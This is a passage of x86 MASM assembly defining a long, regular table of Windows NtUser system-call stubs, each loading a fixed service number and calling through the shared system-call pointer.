NtUserChangeClipboardChain( ULONG arg_01 , ULONG arg_02 ); NtUserChangeClipboardChain PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4432 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserChangeClipboardChain ENDP ; ULONG __stdcall NtUserChangeDisplaySettings( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserChangeDisplaySettings PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4433 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserChangeDisplaySettings ENDP ; ULONG __stdcall NtUserGetDisplayConfigBufferSizes( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserGetDisplayConfigBufferSizes PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4434 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserGetDisplayConfigBufferSizes ENDP ; ULONG __stdcall NtUserSetDisplayConfig( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtUserSetDisplayConfig PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4435 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtUserSetDisplayConfig ENDP ; ULONG __stdcall NtUserQueryDisplayConfig( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtUserQueryDisplayConfig PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4436 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtUserQueryDisplayConfig ENDP ; ULONG __stdcall NtUserDisplayConfigGetDeviceInfo( ULONG arg_01 ); NtUserDisplayConfigGetDeviceInfo PROC STDCALL arg_01:DWORD mov eax , 4437 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserDisplayConfigGetDeviceInfo ENDP ; ULONG __stdcall NtUserDisplayConfigSetDeviceInfo( ULONG arg_01 ); NtUserDisplayConfigSetDeviceInfo PROC STDCALL arg_01:DWORD mov eax , 4438 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserDisplayConfigSetDeviceInfo ENDP ; ULONG __stdcall NtUserCheckAccessForIntegrityLevel( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserCheckAccessForIntegrityLevel PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4439 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserCheckAccessForIntegrityLevel ENDP ; ULONG __stdcall NtUserCheckDesktopByThreadId( ULONG arg_01 ); NtUserCheckDesktopByThreadId PROC STDCALL arg_01:DWORD mov eax , 4440 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserCheckDesktopByThreadId ENDP ; ULONG __stdcall NtUserCheckWindowThreadDesktop( ULONG arg_01 , ULONG arg_02 ); NtUserCheckWindowThreadDesktop PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4441 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserCheckWindowThreadDesktop ENDP ; ULONG __stdcall NtUserCheckMenuItem( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserCheckMenuItem PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4442 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserCheckMenuItem ENDP ; ULONG __stdcall NtUserChildWindowFromPointEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserChildWindowFromPointEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4443 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserChildWindowFromPointEx ENDP ; ULONG __stdcall NtUserClipCursor( ULONG arg_01 ); NtUserClipCursor PROC STDCALL arg_01:DWORD mov eax , 4444 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserClipCursor ENDP ; ULONG __stdcall NtUserCloseClipboard( ); NtUserCloseClipboard PROC STDCALL mov eax , 4445 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserCloseClipboard ENDP ; ULONG __stdcall NtUserCloseDesktop( ULONG arg_01 ); NtUserCloseDesktop PROC STDCALL arg_01:DWORD mov eax , 4446 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserCloseDesktop ENDP ; ULONG __stdcall NtUserCloseWindowStation( ULONG arg_01 ); NtUserCloseWindowStation PROC STDCALL arg_01:DWORD mov eax , 4447 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserCloseWindowStation ENDP ; ULONG __stdcall NtUserConsoleControl( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserConsoleControl PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4448 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserConsoleControl ENDP ; ULONG __stdcall NtUserConvertMemHandle( ULONG arg_01 , ULONG arg_02 ); NtUserConvertMemHandle PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4449 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserConvertMemHandle ENDP ; ULONG __stdcall NtUserCopyAcceleratorTable( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserCopyAcceleratorTable PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4450 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserCopyAcceleratorTable ENDP ; ULONG __stdcall NtUserCountClipboardFormats( ); NtUserCountClipboardFormats PROC STDCALL mov eax , 4451 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserCountClipboardFormats ENDP ; ULONG __stdcall NtUserCreateAcceleratorTable( ULONG arg_01 , ULONG arg_02 ); NtUserCreateAcceleratorTable PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4452 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserCreateAcceleratorTable ENDP ; ULONG __stdcall NtUserCreateCaret( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserCreateCaret PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4453 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserCreateCaret ENDP ; ULONG __stdcall NtUserCreateDesktopEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtUserCreateDesktopEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4454 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtUserCreateDesktopEx ENDP ; ULONG __stdcall NtUserCreateInputContext( ULONG arg_01 ); NtUserCreateInputContext PROC STDCALL arg_01:DWORD mov eax , 4455 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserCreateInputContext ENDP ; ULONG __stdcall NtUserCreateLocalMemHandle( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserCreateLocalMemHandle PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4456 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserCreateLocalMemHandle ENDP ; ULONG __stdcall NtUserCreateWindowEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 , ULONG arg_13 , ULONG arg_14 , ULONG arg_15 ); NtUserCreateWindowEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD , arg_13:DWORD , arg_14:DWORD , arg_15:DWORD mov eax , 4457 mov edx , 7FFE0300h call dword ptr [edx] ret 60 NtUserCreateWindowEx ENDP ; ULONG __stdcall NtUserCreateWindowStation( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 ); NtUserCreateWindowStation PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD mov eax , 4458 mov edx , 7FFE0300h call dword ptr [edx] ret 32 NtUserCreateWindowStation ENDP ; ULONG __stdcall NtUserDdeInitialize( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtUserDdeInitialize PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4459 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtUserDdeInitialize ENDP ; ULONG __stdcall NtUserDeferWindowPos( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 ); NtUserDeferWindowPos PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD mov eax , 4460 mov edx , 7FFE0300h call dword ptr [edx] ret 32 NtUserDeferWindowPos ENDP ; ULONG __stdcall NtUserDefSetText( ULONG arg_01 , ULONG arg_02 ); NtUserDefSetText PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4461 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserDefSetText ENDP ; ULONG __stdcall NtUserDeleteMenu( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserDeleteMenu PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4462 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserDeleteMenu ENDP ; ULONG __stdcall NtUserDestroyAcceleratorTable( ULONG arg_01 ); NtUserDestroyAcceleratorTable PROC STDCALL arg_01:DWORD mov eax , 4463 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserDestroyAcceleratorTable ENDP ; ULONG __stdcall NtUserDestroyCursor( ULONG arg_01 , ULONG arg_02 ); NtUserDestroyCursor PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4464 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserDestroyCursor ENDP ; ULONG __stdcall NtUserDestroyInputContext( ULONG arg_01 ); NtUserDestroyInputContext PROC STDCALL arg_01:DWORD mov eax , 4465 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserDestroyInputContext ENDP ; ULONG __stdcall NtUserDestroyMenu( ULONG arg_01 ); NtUserDestroyMenu PROC STDCALL arg_01:DWORD mov eax , 4466 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserDestroyMenu ENDP ; ULONG __stdcall NtUserDestroyWindow( ULONG arg_01 ); NtUserDestroyWindow PROC STDCALL arg_01:DWORD mov eax , 4467 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserDestroyWindow ENDP ; ULONG __stdcall NtUserDisableThreadIme( ULONG arg_01 ); NtUserDisableThreadIme PROC STDCALL arg_01:DWORD mov eax , 4468 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserDisableThreadIme ENDP ; ULONG __stdcall NtUserDispatchMessage( ULONG arg_01 ); NtUserDispatchMessage PROC STDCALL arg_01:DWORD mov eax , 4469 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserDispatchMessage ENDP ; ULONG __stdcall NtUserDoSoundConnect( ); NtUserDoSoundConnect PROC STDCALL mov eax , 4470 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserDoSoundConnect ENDP ; ULONG __stdcall NtUserDoSoundDisconnect( ); NtUserDoSoundDisconnect PROC STDCALL mov eax , 4471 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserDoSoundDisconnect ENDP ; ULONG __stdcall NtUserDragDetect( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserDragDetect PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4472 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserDragDetect ENDP ; ULONG __stdcall NtUserDragObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtUserDragObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4473 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtUserDragObject ENDP ; ULONG __stdcall NtUserDrawAnimatedRects( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserDrawAnimatedRects PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4474 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserDrawAnimatedRects ENDP ; ULONG __stdcall NtUserDrawCaption( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserDrawCaption PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4475 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserDrawCaption ENDP ; ULONG __stdcall NtUserDrawCaptionTemp( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 ); NtUserDrawCaptionTemp PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD mov eax , 4476 mov edx , 7FFE0300h call dword ptr [edx] ret 28 NtUserDrawCaptionTemp ENDP ; ULONG __stdcall NtUserDrawIconEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 ); NtUserDrawIconEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD mov eax , 4477 mov edx , 7FFE0300h call dword ptr [edx] ret 44 NtUserDrawIconEx ENDP ; ULONG __stdcall NtUserDrawMenuBarTemp( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtUserDrawMenuBarTemp PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4478 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtUserDrawMenuBarTemp ENDP ; ULONG __stdcall NtUserEmptyClipboard( ); NtUserEmptyClipboard PROC STDCALL mov eax , 4479 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserEmptyClipboard ENDP ; ULONG __stdcall NtUserEnableMenuItem( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserEnableMenuItem PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4480 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserEnableMenuItem ENDP ; ULONG __stdcall NtUserEnableScrollBar( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserEnableScrollBar PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4481 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserEnableScrollBar ENDP ; ULONG __stdcall NtUserEndDeferWindowPosEx( ULONG arg_01 , ULONG arg_02 ); NtUserEndDeferWindowPosEx PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4482 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserEndDeferWindowPosEx ENDP ; ULONG __stdcall NtUserEndMenu( ); NtUserEndMenu PROC STDCALL mov eax , 4483 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserEndMenu ENDP ; ULONG __stdcall NtUserEndPaint( ULONG arg_01 , ULONG arg_02 ); NtUserEndPaint PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4484 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserEndPaint ENDP ; ULONG __stdcall NtUserEnumDisplayDevices( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserEnumDisplayDevices PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4485 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserEnumDisplayDevices ENDP ; ULONG __stdcall NtUserEnumDisplayMonitors( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserEnumDisplayMonitors PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4486 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserEnumDisplayMonitors ENDP ; ULONG __stdcall NtUserEnumDisplaySettings( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserEnumDisplaySettings PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4487 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserEnumDisplaySettings ENDP ; ULONG __stdcall NtUserEvent( ULONG arg_01 ); NtUserEvent PROC STDCALL arg_01:DWORD mov eax , 4488 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserEvent ENDP ; ULONG __stdcall NtUserExcludeUpdateRgn( ULONG arg_01 , ULONG arg_02 ); NtUserExcludeUpdateRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4489 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserExcludeUpdateRgn ENDP ; ULONG __stdcall NtUserFillWindow( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserFillWindow PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4490 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserFillWindow ENDP ; ULONG __stdcall NtUserFindExistingCursorIcon( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserFindExistingCursorIcon PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4491 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserFindExistingCursorIcon ENDP ; ULONG __stdcall NtUserFindWindowEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtUserFindWindowEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4492 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtUserFindWindowEx ENDP ; ULONG __stdcall NtUserFlashWindowEx( ULONG arg_01 ); NtUserFlashWindowEx PROC STDCALL arg_01:DWORD mov eax , 4493 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserFlashWindowEx ENDP ; ULONG __stdcall NtUserFrostCrashedWindow( ULONG arg_01 , ULONG arg_02 ); NtUserFrostCrashedWindow PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4494 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserFrostCrashedWindow ENDP ; ULONG __stdcall NtUserGetAltTabInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtUserGetAltTabInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4495 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtUserGetAltTabInfo ENDP ; ULONG __stdcall NtUserGetAncestor( ULONG arg_01 , ULONG arg_02 ); NtUserGetAncestor PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4496 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserGetAncestor ENDP ; ULONG __stdcall NtUserGetAppImeLevel( ULONG arg_01 ); NtUserGetAppImeLevel PROC STDCALL arg_01:DWORD mov eax , 4497 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserGetAppImeLevel ENDP ; ULONG __stdcall NtUserGetAsyncKeyState( ULONG arg_01 ); NtUserGetAsyncKeyState PROC STDCALL arg_01:DWORD mov eax , 4498 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserGetAsyncKeyState ENDP ; ULONG __stdcall NtUserGetAtomName( ULONG arg_01 , ULONG arg_02 ); NtUserGetAtomName PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4499 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserGetAtomName ENDP ; ULONG __stdcall NtUserGetCaretBlinkTime( ); NtUserGetCaretBlinkTime PROC STDCALL mov eax , 4500 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserGetCaretBlinkTime ENDP ; ULONG __stdcall NtUserGetCaretPos( ULONG arg_01 ); NtUserGetCaretPos PROC STDCALL arg_01:DWORD mov eax , 4501 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserGetCaretPos ENDP ; ULONG __stdcall NtUserGetClassInfoEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtUserGetClassInfoEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4502 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtUserGetClassInfoEx ENDP ; ULONG __stdcall NtUserGetClassName( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserGetClassName PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4503 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserGetClassName ENDP ; ULONG __stdcall NtUserGetClipboardData( ULONG arg_01 , ULONG arg_02 ); NtUserGetClipboardData PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4504 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserGetClipboardData ENDP ; ULONG __stdcall NtUserGetClipboardFormatName( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserGetClipboardFormatName PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4505 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserGetClipboardFormatName ENDP ; ULONG __stdcall NtUserGetClipboardOwner( ); NtUserGetClipboardOwner PROC STDCALL mov eax , 4506 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserGetClipboardOwner ENDP ; ULONG __stdcall NtUserGetClipboardSequenceNumber( ); NtUserGetClipboardSequenceNumber PROC STDCALL mov eax , 4507 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserGetClipboardSequenceNumber ENDP ; ULONG __stdcall NtUserGetClipboardViewer( ); NtUserGetClipboardViewer PROC STDCALL mov eax , 4508 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserGetClipboardViewer ENDP ; ULONG __stdcall NtUserGetClipCursor( ULONG arg_01 ); NtUserGetClipCursor PROC STDCALL arg_01:DWORD mov eax , 4509 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserGetClipCursor ENDP ; ULONG __stdcall NtUserGetComboBoxInfo( ULONG arg_01 , ULONG arg_02 ); NtUserGetComboBoxInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4510 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserGetComboBoxInfo ENDP ; ULONG __stdcall NtUserGetControlBrush( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserGetControlBrush PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4511 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserGetControlBrush ENDP ; ULONG __stdcall NtUserGetControlColor( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserGetControlColor PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4512 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserGetControlColor ENDP ; ULONG __stdcall NtUserGetCPD( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserGetCPD PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4513 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserGetCPD ENDP ; ULONG __stdcall NtUserGetCursorFrameInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserGetCursorFrameInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4514 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserGetCursorFrameInfo ENDP ; ULONG __stdcall NtUserGetCursorInfo( ULONG arg_01 ); NtUserGetCursorInfo PROC STDCALL arg_01:DWORD mov eax , 4515 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserGetCursorInfo ENDP ; ULONG __stdcall NtUserGetDC( ULONG arg_01 ); NtUserGetDC PROC STDCALL arg_01:DWORD mov eax , 4516 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserGetDC ENDP ; ULONG __stdcall NtUserGetDCEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserGetDCEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4517 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserGetDCEx ENDP ; ULONG __stdcall NtUserGetDoubleClickTime( ); NtUserGetDoubleClickTime PROC STDCALL mov eax , 4518 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserGetDoubleClickTime ENDP ; ULONG __stdcall NtUserGetForegroundWindow( ); NtUserGetForegroundWindow PROC STDCALL mov eax , 4519 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserGetForegroundWindow ENDP ; ULONG __stdcall NtUserGetGuiResources( ULONG arg_01 , ULONG arg_02 ); NtUserGetGuiResources PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4520 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserGetGuiResources ENDP ; ULONG __stdcall NtUserGetGUIThreadInfo( ULONG arg_01 , ULONG arg_02 ); NtUserGetGUIThreadInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4521 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserGetGUIThreadInfo ENDP ; ULONG __stdcall NtUserGetIconInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtUserGetIconInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4522 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtUserGetIconInfo ENDP ; ULONG __stdcall NtUserGetIconSize( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserGetIconSize PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4523 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserGetIconSize ENDP ; ULONG __stdcall NtUserGetImeHotKey( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserGetImeHotKey PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4524 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserGetImeHotKey ENDP ; ULONG __stdcall NtUserGetImeInfoEx( ULONG arg_01 , ULONG arg_02 ); NtUserGetImeInfoEx PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4525 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserGetImeInfoEx ENDP ; ULONG __stdcall NtUserGetInputLocaleInfo( ULONG arg_01 , ULONG arg_02 ); NtUserGetInputLocaleInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4526 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserGetInputLocaleInfo ENDP ; ULONG __stdcall NtUserGetInternalWindowPos( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserGetInternalWindowPos PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4527 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserGetInternalWindowPos ENDP ; ULONG __stdcall NtUserGetKeyboardLayoutList( ULONG arg_01 , ULONG arg_02 ); NtUserGetKeyboardLayoutList PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4528 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserGetKeyboardLayoutList ENDP ; ULONG __stdcall NtUserGetKeyboardLayoutName( ULONG arg_01 ); NtUserGetKeyboardLayoutName PROC STDCALL arg_01:DWORD mov eax , 4529 mov edx , 7FFE0300h call dword ptr [edx] ret 4 